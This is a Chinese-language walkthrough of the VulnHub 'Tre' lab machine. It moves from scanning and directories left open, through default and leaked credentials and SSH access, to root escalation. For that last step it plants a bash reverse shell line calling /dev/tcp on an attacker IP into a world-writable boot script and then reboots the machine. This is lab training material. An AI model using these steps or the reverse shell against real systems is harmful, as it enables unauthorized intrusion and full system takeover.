VulnHub Tre

一、信息收集

1.nmap扫描

发现开发端口：22、80、8082

访问80和8082端口，没有发现什么有价值的信息

2.扫描目录

dirsearch扫描目录

┌──(rootkali)-[~/routing/dirsearch-]
└─# python3 dirsearch.py -u "http://192.168.103.186"

1./adminer.php

2./info.php

3./system

nikto扫描

┌──(rootkali)-[~/桌面]
└─# nikto -h http://192.168.103.186/

在/system/目录里面，找到：账号密码
admin:admin

3./system目录登录

开始利用nikto扫描，发现账号密码都是admin

登录后，发现这个web页面

返回数据包

在响应数据包中的这条就是用来验证身份的。

Authorization: Basic YWRtaW46YWRtaW4=

信息收集

在/mantisbt/config/a.txt目录下，可疑找到以下信息：

4.登陆/adminer.php网页：

登陆成功：

可以看到mysql服务器中的数据表：

mantis_user_table

账号：tre
密码：Tr3@123456A!

二、漏洞利用

1.ssh连接tre

账号：tre
密码：Tr3@123456A!

2.SUID提权

没有看到什么有价值的提权方法

1.查看只有SUID的二进制可执行文件
find / -user root -perm -4000 -print 2>/dev/null

2.已知的可用来提权的linux可行性的文件列表如下：
nmap、Vim、find、bash、more、less、Nano、cp

3.sudo提权

1.发现tre用户可以通过sudo使用shutdown命令，从而控制靶机启动

然后键入下面的命令来查看：属主是root，但同时其他用户可以对该文件进行写的敏感文件。排除/sys/kernel/security这样的关于内核的文件，将目标重点放在/usr/bin/check-system这个文件上

find / -type f -perm -o=w -user root -ls 2>/dev/null | grep -v "/proc\|sys/fs"

2.这个脚本是root创建，所以很有可能会有root的相关程序对其进行引用

/usr/bin/check-system目录说明

不难发现两个程序都是通过bash来执行这个脚本的，而这且都是开机自启动。结合前面搜集的信息：

• tre用户可以读写check-system
• 可以重启靶机
• check-system开机是会运行。

所以对该脚本进行修改，让其在重启是反弹shell。而且由于开机是高权限，大概率是root用户的shell

/usr/bin/check-system

cat /usr/bin/check-system

vim.tiny /usr/bin/check-system  #使用vim.tiny编辑

/bin/bash -i >& /dev/tcp/192.168.103.129/4444 0>&1

root权限

利用sudo shutdown使靶机重启，进而成功的反弹root的shell，拿下root

sudo shutdown -r now